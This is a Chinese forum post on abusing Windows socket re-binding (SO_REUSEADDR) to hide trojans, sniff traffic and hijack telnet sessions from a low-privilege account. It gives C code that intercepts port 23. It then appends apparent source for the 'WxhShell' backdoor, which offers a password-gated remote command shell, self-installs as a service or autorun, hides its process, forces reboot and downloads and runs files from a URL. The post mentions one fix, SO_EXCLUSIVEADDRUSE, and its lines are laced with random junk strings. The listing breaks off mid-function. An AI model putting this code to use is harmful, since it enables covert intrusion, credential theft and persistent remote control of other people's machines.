社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17141阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: giu{,gS0?M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %C`P7&8m=O  
j"6|$Ze8  
  saddr.sin_family = AF_INET; d@ 8M_ O |  
*;}xg{@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >x*[izr/K  
+ Fo^NT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D|(\5]:R  
'd Be,@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 36{OE!,i  
\azMF}mb  
  这意味着什么?意味着可以进行如下的攻击: <vWP_yy  
.?s jr4   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (U# ,;  
pW.WJ`Rk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vC>2%Zgf-  
y}oA!<#3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F-zIzzb&O  
(N&i4O-I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !HU$V9C  
<QvVPE}z   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o_Z9\'u  
gmH`XKi\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0,~s0]h0V  
EpG9t9S9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R98YGW_ dT  
'kj q C  
  #include ;UgwV/d  
  #include I,#E`)  
  #include UfPB-EFl$D  
  #include    'lE{Nj*7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mD7NQ2:wA  
  int main() KRlJKd{  
  { ($`IHKF1.l  
  WORD wVersionRequested; `q]' ^EzJ  
  DWORD ret; e eN`T&cI  
  WSADATA wsaData; ][l5S*CC_  
  BOOL val; 3<<wHK;)  
  SOCKADDR_IN saddr; RQWUO^&e^  
  SOCKADDR_IN scaddr; wN'S+4  
  int err; Z?xaXFm_  
  SOCKET s; pD[&,gV$  
  SOCKET sc; 'fK=;mM  
  int caddsize; pSC{0Y$g  
  HANDLE mt; 9\?&u_ U"  
  DWORD tid;   <-N eusx%  
  wVersionRequested = MAKEWORD( 2, 2 ); >F^$ ' b]  
  err = WSAStartup( wVersionRequested, &wsaData ); !NNPg?Y  
  if ( err != 0 ) { yx`@f8Kr  
  printf("error!WSAStartup failed!\n"); )M Iw/  
  return -1; 4w%hvJ  
  } ,9 ^ 5  
  saddr.sin_family = AF_INET; An(gHi;1$  
   `2U,#nZ 4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VJK4C8]  
,e$RvFB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yg}L,JJU<  
  saddr.sin_port = htons(23); {=I,+[(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }mp`!7?>O  
  { X)]>E]X  
  printf("error!socket failed!\n"); 6flO;d/v  
  return -1; #q34>}O< O  
  } A<H]uQ>  
  val = TRUE; 9VaSCB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 </<z7V,{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ef:$1VIBda  
  { 1"B9Z6jf  
  printf("error!setsockopt failed!\n"); 8!Mzr1:  
  return -1; @ ^6OV)  
  } T^;Jz!e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <&EO=A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ';|>`<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AYu'ptDNr  
\If!5N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =)1YYJTe9  
  { hIo S#]  
  ret=GetLastError(); @TPgA(5NR  
  printf("error!bind failed!\n"); +\[![r^P  
  return -1; 5J\|gZQF  
  } $]U5  
  listen(s,2); 3et2\wOX1x  
  while(1) r]O@HVbt$  
  { sa(M66KkU  
  caddsize = sizeof(scaddr); 6O@ ^`T  
  //接受连接请求 cU5"c)$'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +6M+hO]  
  if(sc!=INVALID_SOCKET) XvkI +c  
  { o- QG& ]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +s(IQt  
  if(mt==NULL) uyRA`<&w  
  { 3auJ^B}  
  printf("Thread Creat Failed!\n"); %v+fN?%x,d  
  break; nL(%&z \4  
  } &;h~JS=  
  } Ril21o! j  
  CloseHandle(mt); +x9"#0|k;  
  } Wt)SdF=U/  
  closesocket(s); 4>"cc@8&~  
  WSACleanup(); "X{aS}  
  return 0; IL>/PuZku  
  }   ~Ri u*<  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ij6Wz. *  
  { KIAe36.~  
  SOCKET ss = (SOCKET)lpParam; bDFCZH-:'O  
  SOCKET sc; ? __aVQ7  
  unsigned char buf[4096]; [#>$k 6F*  
  SOCKADDR_IN saddr; w^due P7J  
  long num; !,6v=n[Nz  
  DWORD val; dp[w?AMhM9  
  DWORD ret; 4I#eC#"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fr'huvc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +F7<5YW&(  
  saddr.sin_family = AF_INET; # +QWi0B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CEX}`I*-  
  saddr.sin_port = htons(23); yK&* ,J |  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NO+ 55n  
  { jI{~s]Q  
  printf("error!socket failed!\n"); &weY8\HD  
  return -1; ?9(o*lp  
  } }l}yn@hYC  
  val = 100; I NPYJ#%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }#ep}h  
  { {BaPK&x,  
  ret = GetLastError(); ~G6xk/+n-m  
  return -1; @$$ J}~{  
  } qvhG ^b0h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bun_R-  
  { ?G]yU  
  ret = GetLastError(); HAs/f#zAk6  
  return -1; |N 2r?b/g  
  } ~=oCou`XF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t 0p  
  { >Apa^Bp  
  printf("error!socket connect failed!\n"); wZ `{ i  
  closesocket(sc); $,I@c"m{  
  closesocket(ss); J^~J&  
  return -1; \lDh"  
  } {%, 4P_m  
  while(1) G#uB%:)&0u  
  { Cyg(~7]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fNfa.0 s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lNl.lI\t)y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )VqPaKZl  
  num = recv(ss,buf,4096,0); &\b(  
  if(num>0) lP*=4Jh  
  send(sc,buf,num,0); .D\oKhV(  
  else if(num==0) 'cQ,;y  
  break; YMU""/(  
  num = recv(sc,buf,4096,0); '>n&3`r5  
  if(num>0) H)EL0 Kv/  
  send(ss,buf,num,0); _`p^B%[  
  else if(num==0) R.F l5B  
  break; w5 ]lU  
  } V{w &RJ  
  closesocket(ss); F`2h,i-9  
  closesocket(sc); (n7{?`Yid  
  return 0 ; kM&-t&7  
  } noEl+5uY  
e6 x#4YH  
"Z;({a$v  
========================================================== dNF_ T?E\  
 ;Q4,I[?%  
下边附上一个代码,,WXhSHELL <>Dw8?O  
v?}0h5  
========================================================== \ym^~ Q|  
qswC> Gi  
#include "stdafx.h" j3T)gFP  
P8|ANe1 v  
#include <stdio.h> hvNK"^\p  
#include <string.h> ~J> ;l s1  
#include <windows.h> R5(([C1  
#include <winsock2.h> yjH'<  
#include <winsvc.h> aNNRw(0/  
#include <urlmon.h> /h.{g0Xc  
wU<j=lY?f  
#pragma comment (lib, "Ws2_32.lib") ?Tu=-ppw  
#pragma comment (lib, "urlmon.lib") &}7R\co3  
O! XSU,  
#define MAX_USER   100 // 最大客户端连接数 NH}o`x/  
#define BUF_SOCK   200 // sock buffer g,M-[o=Fk  
#define KEY_BUFF   255 // 输入 buffer !>80p~L  
(_>Su QK  
#define REBOOT     0   // 重启 w?^[*_Y  
#define SHUTDOWN   1   // 关机 gO "G/  
B@0#*I Rm  
#define DEF_PORT   5000 // 监听端口 S.1>bs2  
%6 GM[1__  
#define REG_LEN     16   // 注册表键长度 CI$z+ zN  
#define SVC_LEN     80   // NT服务名长度 `BG>%#  
nqUnDnP2c  
// 从dll定义API Pmd[2/][  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HF_8661g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~n%Lo3RiP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J` GL_@$q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lN,a+S/'  
REK):(i7P  
// wxhshell配置信息 5V =mj+X?  
struct WSCFG { <f8j^  
  int ws_port;         // 监听端口 {cIk-nG -_  
  char ws_passstr[REG_LEN]; // 口令 UdM2!f  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4m91XD  
  char ws_regname[REG_LEN]; // 注册表键名 &?H$-r1/?V  
  char ws_svcname[REG_LEN]; // 服务名 43M.Hj]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jK*d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QkD ~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SE^l`.U@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ([>__c/Nd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" un-%p#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iCg%$h  
?#(LH\$l_  
}; B; e<.M)e  
ux(~+<k  
// default Wxhshell configuration -k8sR1(  
struct WSCFG wscfg={DEF_PORT, Y3&,U  
    "xuhuanlingzhe", C12V_)~2  
    1, S qb>a j  
    "Wxhshell", L@6]~[JvP  
    "Wxhshell", *9kg \#  
            "WxhShell Service", Y!_c/!Tx  
    "Wrsky Windows CmdShell Service", 5!qf{4j  
    "Please Input Your Password: ", rnhLv$  
  1, sfn^R+x4,9  
  "http://www.wrsky.com/wxhshell.exe", tNzO1BK  
  "Wxhshell.exe" }k%6X@  
    }; >L4F'#I  
^`";GnH0  
// 消息定义模块 Nr2,m"R{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u$[8Zmgzz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dG5jhkPX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M`'DD-Q  
char *msg_ws_ext="\n\rExit."; 0'pB7^y  
char *msg_ws_end="\n\rQuit."; Tf]ou5|  
char *msg_ws_boot="\n\rReboot..."; t7x<=rW7u  
char *msg_ws_poff="\n\rShutdown..."; @XzfuuE]  
char *msg_ws_down="\n\rSave to "; o(Z~J}l({  
}l$zZ>.\H  
char *msg_ws_err="\n\rErr!"; j0{`7n  
char *msg_ws_ok="\n\rOK!"; <zn)f@W  
!fn%Q'S  
char ExeFile[MAX_PATH]; Fd<Ouyxqe  
int nUser = 0; :AztHf?X  
HANDLE handles[MAX_USER]; Z@Q*An  
int OsIsNt; eQ/w Mr  
U; m@  
SERVICE_STATUS       serviceStatus; ,>6a)2xh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q%kCTw  
0:[A4S`X  
// 函数声明 aQx6;PC  
int Install(void); TCyev[(  
int Uninstall(void); yVK ; "  
int DownloadFile(char *sURL, SOCKET wsh); `Pj7:[."[  
int Boot(int flag); =Vs?=|r  
void HideProc(void); Kj @<$ChZw  
int GetOsVer(void); B;=Z^$%T  
int Wxhshell(SOCKET wsl); Y(7&3+'K  
void TalkWithClient(void *cs); `0]N#G T  
int CmdShell(SOCKET sock); O[MFp  
int StartFromService(void); LZ_VLW9w E  
int StartWxhshell(LPSTR lpCmdLine); Qv ~@  
C;JW \J~W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !% W5@tN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QlMLWi  
B(s^(__]  
// 数据结构和表定义 Q}B]b-c+E  
SERVICE_TABLE_ENTRY DispatchTable[] = Y3[KS;_fr9  
{ Ss 5@n  
{wscfg.ws_svcname, NTServiceMain}, Y2l;NSWU  
{NULL, NULL} Aj cKz  
}; jnJ*e-AW  
nsi? .c&0!  
// 自我安装 d38o*+JCf  
int Install(void) d5Ae67  
{ [#@lsI  
  char svExeFile[MAX_PATH]; --l UEo~  
  HKEY key; ^\B4]'+^j  
  strcpy(svExeFile,ExeFile); zC)JOykI%  
2=K|kp5  
// 如果是win9x系统,修改注册表设为自启动 3;Yd"  
if(!OsIsNt) { T:{&e WH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3^ UoK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v?]a tb/h`  
  RegCloseKey(key); qQ)1+^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g4,ldr"D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "!vY{9,  
  RegCloseKey(key); %(&ja_oO  
  return 0; Wm-$l  
    } {c3FJ5:  
  } 9VTAs:0D=  
} "TaLvworb4  
else { 9b=0 4aWHm  
HM)D/CO,?  
// 如果是NT以上系统,安装为系统服务 L$O\fhO?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [8Y7Q5Had  
if (schSCManager!=0) s|XWw<Sa  
{ P,m+^,  
  SC_HANDLE schService = CreateService .F@Lx45  
  ( @ntwdv;  
  schSCManager, <?IDCOt ?  
  wscfg.ws_svcname, Pf4zjc  
  wscfg.ws_svcdisp, KxKZC }4m  
  SERVICE_ALL_ACCESS, fgL"\d}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L`<#vi  
  SERVICE_AUTO_START, ws`r\k]3J  
  SERVICE_ERROR_NORMAL, \,/ozfJ7dT  
  svExeFile, nHbi{,3  
  NULL, \;'#8  
  NULL, k]:`<`/I_  
  NULL, w{T$3F`@9  
  NULL, qk'&:A  
  NULL ZG H 7_K  
  ); t*Ro2QZ  
  if (schService!=0) 'q;MhnU+  
  { 8iD7K@  
  CloseServiceHandle(schService); Pm%5c\ef  
  CloseServiceHandle(schSCManager); OQ4Pk/-'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E 0/>E  
  strcat(svExeFile,wscfg.ws_svcname); u})*6l.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !3iZa*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m.!LL]]  
  RegCloseKey(key); }V*?~.R  
  return 0; $gN\%X/n"1  
    } hW'b'x<  
  } P{ 9wJ<  
  CloseServiceHandle(schSCManager); H-nhq-fut  
} x2a ?ugQ  
} dQ~GE}[  
~(-1mB,  
return 1; {to(?`Y  
}  otfmM]f  
|&xaV-b9W  
// 自我卸载 o5 ~VT!'[  
int Uninstall(void) OI*ltba?  
{ lZ)6d-vK  
  HKEY key; oV;sd5'LG  
9C2pGfEbn}  
if(!OsIsNt) { 0^\H$An*k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i7PS=]TK\  
  RegDeleteValue(key,wscfg.ws_regname); X lItg\R  
  RegCloseKey(key); 8t=O=l\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >~Gy+-  
  RegDeleteValue(key,wscfg.ws_regname); XR9kxTuk  
  RegCloseKey(key); gK;dfrU.8Y  
  return 0; 5._QI/d)'J  
  } YpXd5;'  
} ULu@"  
} rp dv{CUp7  
else { j>?nL~{  
=,q/FY:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0tL5t7/Gr  
if (schSCManager!=0) EtPB_! +  
{ Lg(G&ljE@k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l3u+fE,;_  
  if (schService!=0) XUh&an$  
  { R!7--]Wcg  
  if(DeleteService(schService)!=0) { UMBeY[ ?  
  CloseServiceHandle(schService); \Gk}Fer  
  CloseServiceHandle(schSCManager); l l*g *zt3  
  return 0; j DEym&-  
  } w5s&Ws  
  CloseServiceHandle(schService); %%n&z6w-  
  } ib 'l:GM  
  CloseServiceHandle(schSCManager); W ^Fkjqpv  
} eYoc(bG(+  
} tj0 0xYY  
;Ccp1a~+  
return 1; K"g{P  
} .Jg<H %%f  
? eI)m  
// 从指定url下载文件 ow 6\j:$?  
int DownloadFile(char *sURL, SOCKET wsh) >k@{NP2b  
{ )v+&l9D  
  HRESULT hr; )>b1%x} =  
char seps[]= "/"; _C1u}1hW#  
char *token; hUp3$4w  
char *file; 2,B^OZmw  
char myURL[MAX_PATH]; xJ:Am>%\^  
char myFILE[MAX_PATH]; kn HrMD;  
s5{H15  
strcpy(myURL,sURL); [a$1{[|)  
  token=strtok(myURL,seps); K)`R?CZ:s  
  while(token!=NULL) ujX\^c  
  { \!uf*=d  
    file=token; _f "I%QTL  
  token=strtok(NULL,seps); GpO@1 C/  
  } Ue,eEer  
#q0xlF@  
GetCurrentDirectory(MAX_PATH,myFILE); XM?c*,=fu  
strcat(myFILE, "\\"); Ly, ];  
strcat(myFILE, file); ^dxy%*Z/  
  send(wsh,myFILE,strlen(myFILE),0); "4smW>f:%  
send(wsh,"...",3,0); o 0b\<}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UQ^ )t ]  
  if(hr==S_OK) >/@Q7V99{  
return 0; k^k1>F}yx  
else [czWUD  
return 1; }gX4dv B  
1_}k)(n  
} /dX,]OFm  
hiR+cPSF  
// 系统电源模块 GBd mT-7  
int Boot(int flag) l`JKQk   
{ t `\l+L  
  HANDLE hToken; #]}G{ P  
  TOKEN_PRIVILEGES tkp; dwzk+@]8  
2@ZuH^qhk  
  if(OsIsNt) { /h&>tYVio  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E/ku VZX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xxdxRy9/  
    tkp.PrivilegeCount = 1; N *n?hN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bV@5B#] 2R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3URrK[%x`  
if(flag==REBOOT) { }T=\hM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (jE[W:  
  return 0; Y:'c<k  
} k1FG$1.  
else { UZc{ Av  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {+QQ<)l^tJ  
  return 0; `jDmbD +=  
} {y:+rh&  
  } ."v&?o Ck]  
  else { WOGMt T%  
if(flag==REBOOT) { w{ x=e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b@[5xv\J  
  return 0; vnz}Pr! c  
} GwlAEhP  
else { U C9w T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =G<S!qW  
  return 0; HmEU;UbO-  
} {D&:^f  
} IAn/?3a~  
+wr 5&  
return 1; ~E7=c3:"  
} "{(4  
3gmu-t v  
// win9x进程隐藏模块 i+.bR.WO  
void HideProc(void) <0)@Ikhx  
{ $;+`sVG  
})r[q sv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C{):jH,Rf  
  if ( hKernel != NULL ) }+f@$L  
  { G;pxB,4s5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4;d9bd)A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PfVjfrI[  
    FreeLibrary(hKernel); WAcQRa~C  
  } e c`3Qw  
M0%):P?x  
return; }mw31=2bD  
} "eal Yveu  
#| Et9  
// 获取操作系统版本 %.D@{O  
int GetOsVer(void) fKAG+t  
{ N8l(m5Kk,k  
  OSVERSIONINFO winfo; p,9eZUGy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m/0t; cx  
  GetVersionEx(&winfo); < F Cr L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fu(I<o+T-  
  return 1; 2 }Q)&;u  
  else 2$? )VXtw  
  return 0; 8f|  
} ;wz YZ5=Di  
|&TRN1  
// 客户端句柄模块 _, ;c2  
int Wxhshell(SOCKET wsl) |QS|\8g{0V  
{ F- kjv\  
  SOCKET wsh; .#y#u={{l  
  struct sockaddr_in client; t__f=QB/  
  DWORD myID; Rd8mn'A  
:{<|,3oNdR  
  while(nUser<MAX_USER) %:C6\4  
{ aPJTH0u  
  int nSize=sizeof(client); 14&|(M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MTt8O+J?P~  
  if(wsh==INVALID_SOCKET) return 1; oDS7do  
.i\ FK@2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gd!_9S`68  
if(handles[nUser]==0) D <~UaHfk  
  closesocket(wsh); shB3[W{}!)  
else a@g <cl7a,  
  nUser++; q?frt3o  
  } HnPy";{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uou "s9  
USART}Us4  
  return 0; ](I||JJa9f  
} koB'Zp/FaY  
RAa1^Qb  
// 关闭 socket NvzPZ9=@-  
void CloseIt(SOCKET wsh) RH,x);J|  
{ CeU=A9  
closesocket(wsh); S/Ic=  
nUser--; "E<+idoz  
ExitThread(0); = 1veO0  
} u ^#UsOt+  
3'p 1m`8  
// 客户端请求句柄 BN(=LQ2["  
void TalkWithClient(void *cs) cK[=IE5  
{ r4cz?e |  
_KloX{a  
  SOCKET wsh=(SOCKET)cs; %4` U' j  
  char pwd[SVC_LEN]; X}G$ON  
  char cmd[KEY_BUFF]; W*iTg%a\k  
char chr[1]; qu#xc0?  
int i,j; 5{W Aw !  
y k!K 5  
  while (nUser < MAX_USER) { ,^n&Q'p3  
g/l:q&Q<  
if(wscfg.ws_passstr) { q'trd};xR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %yc-D]P/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `uLr^G=;  
  //ZeroMemory(pwd,KEY_BUFF); ~u!V_su]GY  
      i=0; CN` ~DD{  
  while(i<SVC_LEN) { f.j<VKF}  
QSzht$ 8  
  // 设置超时 }UcdkKq  
  fd_set FdRead; "] 2^O  
  struct timeval TimeOut; 2Y9u9;ah  
  FD_ZERO(&FdRead); Q)XH5C2X  
  FD_SET(wsh,&FdRead); m<#^c?u  
  TimeOut.tv_sec=8; THy?Y  
  TimeOut.tv_usec=0; uDJ;GD[yc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;:oXe*d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2::YR?  
*MlEfmB(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y4@gw.pt  
  pwd=chr[0]; z3 ^_C`(F  
  if(chr[0]==0xd || chr[0]==0xa) { WqM| nX  
  pwd=0; IDf\! QGx  
  break; V= &M\58  
  } _pb*kJ  
  i++; 4P5^.\.  
    } 2[=3-1c  
#X1a v  
  // 如果是非法用户,关闭 socket Ad,n+%"e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I YtiX  
} a {x3FQ  
WB_BEh[>j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Vmf 6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R|$b\3  
Vh;|qF 9  
while(1) { qs\Cwn!  
5|r*,! CF  
  ZeroMemory(cmd,KEY_BUFF); |ssl0/nk  
3O-vO=D  
      // 自动支持客户端 telnet标准   ->?tB1}^  
  j=0; ){)-}M  
  while(j<KEY_BUFF) { /TPtPq<7:#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g5pFr=NV  
  cmd[j]=chr[0]; Nr]Fh  
  if(chr[0]==0xa || chr[0]==0xd) { Iw.!*0$  
  cmd[j]=0; 479X5Cl  
  break; ia_@fQ  
  } f@Jrbg  
  j++; l(87s^_  
    } Ua:@,};  
AWMJ/ E*T  
  // 下载文件 ^ Lc\{,m  
  if(strstr(cmd,"http://")) { o9sPyY$aQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $+n6V2^K)7  
  if(DownloadFile(cmd,wsh)) L~;(M6Jp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dj c-f  
  else JN9>nC!Zy_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bf #cBI  
  } JttDRNZAU  
  else { @q>Hl`a  
E X'PRNB,  
    switch(cmd[0]) { T_D] rMl  
  RzL(Gnb  
  // 帮助 7p]Izx8][  
  case '?': { %c\k LSe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ihwJBN>(  
    break;  &qdhxc4  
  } dTK0lgkUE  
  // 安装 =c*l!."0  
  case 'i': { p$|7T31 *  
    if(Install()) B1!xr-kC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MA:5'n  
    else 7`A]X,:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <nqv)g"u0  
    break; EV{Ys}3M  
    } Q*%}w_D6f  
  // 卸载 b=/'c Q  
  case 'r': { aif;h! ?y  
    if(Uninstall()) D%yY&q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uz{RV_IX7  
    else 7>j~;p{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kq5X<'MM9N  
    break; dV'EiNpf  
    } ySmbX  
  // 显示 wxhshell 所在路径 0(eaVi-%D  
  case 'p': { 'v V7@@  
    char svExeFile[MAX_PATH]; q iOJ:'@  
    strcpy(svExeFile,"\n\r"); p8!T) ?|  
      strcat(svExeFile,ExeFile); pzz* >Y  
        send(wsh,svExeFile,strlen(svExeFile),0); byM-$l  
    break; 1Q>nS[  
    } kUgfFa#_  
  // 重启 Df^F)\7!N?  
  case 'b': { /!?LBtqy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); be,Rj,-  
    if(Boot(REBOOT)) "GK9Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A<X?1$  
    else { |R0f--;  
